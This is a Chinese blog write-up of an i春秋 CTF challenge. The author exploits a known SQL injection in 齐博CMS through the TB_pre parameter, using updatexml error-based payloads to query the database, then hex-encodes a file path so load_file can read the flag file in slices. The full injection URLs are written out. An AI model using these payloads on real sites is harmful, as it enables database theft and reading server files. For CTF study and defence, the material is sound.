i春秋 “百度杯”CTF比赛 九月场 再见CMS

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/82633506

https://www.ichunqiu.com/battalion?t=1&r=0

这道题刚做的时候是没有头绪的,看了一眼writeup,得知要通过网站下方的备案记录来查询除网站相关信息,并进而得知该网站所使用的的cms,但是我照着做的时候却查不出来结果,ICP/IP官网返回说无匹配信息,于是我就参考writeup直接搜索了齐博CMS的相关漏洞,我使用的是这一个:
http://0day5.com/archives/3300/

一个SQL注入漏洞,我的payload是这样构造的:

http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=
(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
                    select user()
),0x7e),1)))a%23

select user()就是我们想要查询的信息
这里写图片描述
因为源代码中的查询语句是这样的:

$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");

因此我们要把$TB_pre构造成一个表,所以我的payload就构造成了上面的样子

然后就是得到数据库名、表名、列名,进而查询usernamepassword字段,但是password字段是md
5
加密过后的字符串,我试了很多解密网站都解不出来,最后想到利用上道题的方法load_file,直接获取flag所在文件的内容,猜测为/var/www/html/flag.php,不行就多试几个,绝对路径题目给出来了:
这里写图片描述

我们如果直接写成load_file('/var/www/html/flag.php')是不行的,因为'会被转义:
这里写图片描述

自然而然地,就会想到用16进制来表示这个字符串:

0x2F7661722F7777772F68746D6C2F666C61672E706870

构造payload如下:

http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select mid((select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)
),0x7e),1)))a%23

使用mid函数截取字符串
这里写图片描述

更改mid的后两个参数,继续往后截,就能得到flag

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/82633506